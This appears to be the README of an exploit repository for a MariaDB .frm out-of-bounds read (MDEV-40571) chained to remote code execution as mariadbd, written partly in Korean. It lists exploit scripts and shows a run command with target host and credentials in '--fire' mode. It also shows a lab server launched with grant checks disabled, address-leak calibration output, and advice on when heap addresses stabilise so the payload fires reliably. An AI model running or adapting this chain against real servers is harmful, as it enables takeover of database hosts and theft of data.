
MariaDB .frm OOB read exploit chain (MDEV-40571) achieving RCE as mariadbd, with lab build scripts, address-leak calibration, and full attack-scenario documentation.
MariaDB가 테이블을 여는 과정에서 .frm 데이터를 처리할 때 유효성 검증이 충분히 수행되지 않는 문제에서 시작됩니다. share->field 포인터 배열의 인덱스에 대한 검증 부재로 발생하는 OOB Read, default_values 및 레코드 메타데이터 조작을 통한 comment_pos 버퍼 주소 유출, 그리고 SQL 쿼리를 이용한 comment_pos 버퍼 내 페이로드 삽입을 연계하여 전체 익스플로잇 체인을 구성할 수 있습니다. 최종적으로 공격자는 이 체인을 통해 mariadbd 프로세스 권한으로 임의 코드를 실행할 수 있습니다.
MariaDB의 MySQL 5 포크 시점부터 존재하던 취약점이며 MariaDB/Server(Community Server)의 전체 릴리즈에 영향을 미칩니다.
본 공격 시나리오는 MDEV-40571 취약점과 관련 없는 일반적인 웹 서비스에서 존재할 수 있는 XSS, SQLI 를 통해 MariaDB 계정의 패스워드 해시를 획득하고 접근하는 단계부터 수행되므로 관심 없으신 분들은 Exploit 탭을 보시길 바랍니다.
/exploit
|--- /13.1.0
| |--- lab_exploit.py
| |--- requirements.txt
|--- /10.4.18
| |--- na_frm_rce2_exploit.py
| |--- t16_e2e.py
| |--- target_reliable.py
# 10.4.18 remote test
# This exploit was developed during a penetration test and is tailored to my specific environment. It should therefore be used for reference purposes only.
$ THOST=127.0.0.1 USER=mariadb_user TPWD=1234 python3 target_reliable.py --fire
# WSL2 Ubuntu 24.04 | Building a MariaDB 13.1.0 Test Environment
# When installed in the home directory, the build environment is set up under mariadb-13.1.0-git.
$ cd ~
$ ./build_mariadb_13_1_0.sh
# Run mariadbd and initialize datadir
$ rm -rf ~/off131
$ mkdir -p ~/off131/data
$ ~/mariadb-13.1.0-git/inst/bin/mariadbd \
--no-defaults \
--datadir="$HOME/off131/data" \
--socket="$HOME/off131/off.sock" \
--port=3306 \
--bind-address=127.0.0.1 \
--skip-grant-tables \
--secure-file-priv= \
--local-infile=1 \
--aria-log-dir-path="$HOME/off131/data" \
--log-error="$HOME/off131/off.log" \
--pid-file="$HOME/off131/off.pid"
# 13.1.0 lab exploit - The payload executes the /tmp/heal_t16.sh script.
$ cat /tmp/frm_pwned_t16
[bat error]: '/tmp/frm_pwned_t16': No such file or directory (os error 2)
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd64022c50
[*] CALIB: re-leaked C2=0x7abd64022c50 stable=True
[=] CALIB PASS. dry-run only. re-run with --fire to arm fieldnr=47 and trigger R5.
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd6402d7d0
[*] CALIB: re-leaked C2=0x7abd6402d7d0 stable=True
[=] CALIB PASS. dry-run only. re-run with --fire to arm fieldnr=47 and trigger R5.
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd64038d10
[*] CALIB: re-leaked C2=0x7abd64038d10 stable=True
[=] CALIB PASS. dry-run only. re-run with --fire to arm fieldnr=47 and trigger R5.
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd64044fd0
[*] CALIB: re-leaked C2=0x7abd640474d0 stable=False
[!] chunk NOT stable across deliver (C moved) -> ABORT before firing
$ python3 lab_exploit.py
[*] connected (single arena). server ver: 13.1.0-MariaDB
[*] MB=0x5e3caed21000 LB=0x7abd8a000000
[*] leaked C(comment_pos)=0x7abd6404b8b0
[*] CALIB: re-leaked C2=0x7abd6404ddb0 stable=False
[!] chunk NOT stable across deliver (C moved) -> ABORT before firing
# [!!!!!] comment_pos 버퍼가 안정화 되는 구간입니다.
# 이전 단계에서의 C가 익스플로잇이 성공한 단계에서의 C와 주소가 같습니다.
# 서버가 구성되는 환경마다 틀려질 수 있으므로 --fire 변수를 빼고 실행 시켜 C 주소가 지속적으로 동일하면 --fire 모드로 변경 후 수행하세요